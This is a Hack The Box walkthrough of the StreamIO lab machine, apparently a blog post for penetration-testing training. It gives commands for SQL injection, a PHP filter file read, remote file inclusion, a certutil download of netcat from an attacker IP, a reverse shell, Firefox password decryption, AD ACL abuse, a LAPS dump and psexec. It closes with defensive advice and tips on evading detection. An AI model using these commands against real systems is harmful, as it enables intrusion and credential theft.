StreamIO | Hack The Box Walkthrough | OSCP Style

Modern enterprise intrusions often require chaining seemingly unrelated vulnerabilities across different technology stacks. A web…

Modern enterprise intrusions often require chaining seemingly unrelated vulnerabilities across different technology stacks. A web vulnerability might yield initial access, but navigating the internal network requires a deep understanding of Windows internals, forensic artifacts, and Active Directory access controls. In this writeup, we will walk through the compromise of the StreamIO machine. We’ll cover exploiting a UNION-based SQL injection, leveraging PHP filters for source code disclosure, bypassing AppLocker to execute a reverse shell, extracting master passwords from Firefox databases, and finally, abusing WriteOwner permissions to dump Local Administrator Password Solution (LAPS) credentials.

Let’s dive into the technical step-by-step.

Reconnaissance

We begin mapping the attack surface with a comprehensive TCP port scan against the target IP.

sudo nmap -p- --open -sS -sV -sC --min-rate 5000 -vvv -n 10.10.11.158 -oN result.txt

The scan reveals a Windows host running IIS web services, SMB, and WinRM. We immediately begin directory and file fuzzing on the exposed web application (streamio.htb and watch.streamio.htb) using wfuzz.

wfuzz -c --hc=404 -t 200 -w directory-list-2.3-medium.txt https://streamio.htb/FUZZ.php
wfuzz -c --hc=404 -t 200 -w directory-list-2.3-medium.txt https://watch.streamio.htb/FUZZ.php

Exploring the web application, we identify a search or input parameter that appears vulnerable to SQL Injection. A basic syntax test confirms the vulnerability, allowing us to proceed with a UNION-based SQL Injection.

First, we determine the number of columns returned by the query:

test' union select 1,2,3,4,5,6-- -

Knowing the query returns 6 columns, we systematically extract the database schema, version, and the current database name:

test' union select 1,@@version,3,4,5,6-- -
test' union select 1,(SELECT DB_NAME()),3,4,5,6-- -
test' union select 1,name,3,4,5,6 FROM streamio..sysobjects WHERE xtype = 'U'; -- -

We locate the users table and extract the usernames and passwords, concatenating them for easier parsing:

test' union select 1,concat(username,':',password),3,4,5,6 FROM users-- -

The database returns a list of MD5 hashes. We format the output and use John the Ripper to crack them offline:

cat hashes.txt | grep ":" | tr -d ' ' > hashes.txt
john -w:/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-MD5

This yields valid credentials, which we use to brute-force the application’s login form via hydra to establish an authenticated session.

PHP Filter Bypasses and Remote File Inclusion (RFI)

With an authenticated web session, further fuzzing reveals a hidden /admin/ directory and a highly suspicious debug parameter (?debug=).

wfuzz -c --hh=1678 -H "Cookie: PHPSESSID=07p1pemlm6h599kmbcs2qmvfc1" --hc=404 -t 200 -w directory-list-2.3-medium.txt "https://streamio.htb/admin/?FUZZ=test"

The debug parameter is vulnerable to Local File Inclusion (LFI). However, directly reading PHP files will execute them rather than display their source code. To bypass this, we use PHP wrappers to Base64-encode the files before they are rendered:

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

We decode the extracted source code locally:

echo "CODIGO_BASE64" | base64 -d > master.php

Reviewing master.php reveals a critical flaw: an include function that blindly processes user-supplied input. By intercepting the request in Burp Suite and changing the method from GET to POST, we can abuse this to achieve Remote File Inclusion (RFI). We host a malicious PHP script (RCE.php) containing a system() payload on our attacker machine and point the include parameter to it.

AppLocker Evasion and Initial Access

We confirm Remote Code Execution by passing standard ipconfig commands. However, to establish a stable reverse shell, we must circumvent local execution restrictions (such as AppLocker), which typically block unauthorized executables in standard user directories.

We utilize certutil.exe (a LOLBAS) to download nc[.]exe directly into the C:\Windows\System32\spool\drivers\color\ directory: a well-known path that is frequently excluded from AppLocker policies.

system("certutil.exe -f -urlcache -split hxxp://10.10.14.2/nc[.]exe C:\\Windows\\System32\\spool\\drivers\\color\\nc[.]exe");

Once downloaded, we trigger the payload to send a reverse shell to our listener:

system("C:\\Windows\\System32\\spool\\drivers\\color\\nc[.]exe -e cmd 10.10.14.2 9292");

Internal MSSQL Enumeration

Now on the system, we check for internal tools and find sqlcmd available. Since we recovered the db_admin password during our initial SQLi phase (B1@hx31234567890), we authenticate to the local MSSQL instance and enumerate the hidden streamio_backup database.

sqlcmd -U db_admin -P 'B1@hx31234567890' -S localhost -d streamio_backup -Q "SELECT name FROM streamio_backup..sysobjects WHERE xtype = 'U';"
sqlcmd -U db_admin -P 'B1@hx31234567890' -S localhost -d streamio_backup -Q "SELECT * from users;"

This internal database yields a new set of hashes. Cracking them provides credentials for nikk37, allowing us to pivot via WinRM:

evil-winrm -i 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'

While enumerating nikk37's profile, we notice a Mozilla Firefox installation. Browsers heavily cache user data. We navigate to the user's AppData\Roaming directory and exfiltrate the key4.db and logins.json files, which contain the browser's stored passwords.

We decrypt these offline using the firepwd.py script:

python3 firepwd.py

We perform a password spray with the decrypted credentials using CrackMapExec and get a valid hit for the user JDgodd.

Active Directory ACL Abuse & LAPS Extraction

We deploy SharpHound[.]exe to collect Active Directory data and analyze it using BloodHound.

The graph reveals a highly exploitable ACL misconfiguration: JDgodd has WriteOwner privileges over the CORE STAFF group. This means we can modify the group's properties and add ourselves to it.

We load PowerView[.]ps1 into our session and abuse this right:

Import-Module .\PowerView[.]ps1
$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('streamIO.htb\JDgodd', $pass)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "CORE STAFF" -PrincipalIdentity 'JDgodd'
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred

Why does CORE STAFF matter? BloodHound showed that this group has the right to read LAPS (Local Administrator Password Solution) passwords. With our newly elevated group membership, we execute an LDAP query to dump the ms-MCS-AdmPwd attribute for the Domain Controller:

ldapsearch -x -H ldap://10.10.11.158 -D "JDgodd@streamio.htb" -w 'JDg0dd1s@d0p3cr3@t0r' -b "dc=streamio,dc=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Credentials obtained: Administrator : 69dN5-!88[25}4

We use Impacket’s psexec.py to authenticate with the LAPS password and obtain our final SYSTEM shell.

impacket-psexec administrator@10.10.11.158

Conclusion

StreamIO is an excellent machine that bridges the gap between classic web exploitation and modern Active Directory pivoting. The foothold mirrors realistic external engagements: starting with an SQL injection to extract hashes, bypassing PHP filters to review source code, and identifying an RFI. The internal network required bypassing AppLocker by dropping binaries into trusted spool directories, conducting host forensics to decrypt Firefox master databases, and finally, executing a surgical ACL abuse via WriteOwner to read the highly coveted LAPS password.

Key takeaways:

  • Restrict AppLocker Exclusions: Relying on default path rules (like C:\Windows\System32\spool\drivers\color\) for AppLocker is a known bypass vector. Implement strict publisher rules or hash-based controls where possible.
  • Clear Browser Data: System administrators and highly privileged users must never store credentials in web browsers on shared or exposed jump hosts. Tools like firepwd.py trivialize local credential extraction.
  • Audit Active Directory ACLs: Privileges like WriteOwner or GenericAll over administrative groups are essentially Domain Admin equivalents. Reviewing these edges with BloodHound is critical for securing Tier-0 assets.
  • Prioritize Low-Noise Tradecraft: While PowerView and .NET assemblies (execute-assembly) work in CTF environments, modern Red Team operators should prioritize Beacon Object Files (BOFs) for AD enumeration to minimize telemetry footprint. Furthermore, querying LAPS or dumping AD objects should be performed surgically (e.g., using LUIDs for Kerberos interactions) to avoid triggering SIEM behavioral alerts.

References

If you’re interested in following my upcoming articles on OT/ICS, certifications, HTB content, and Red Team experiences, I invite you to connect with me on LinkedIn or Instagram.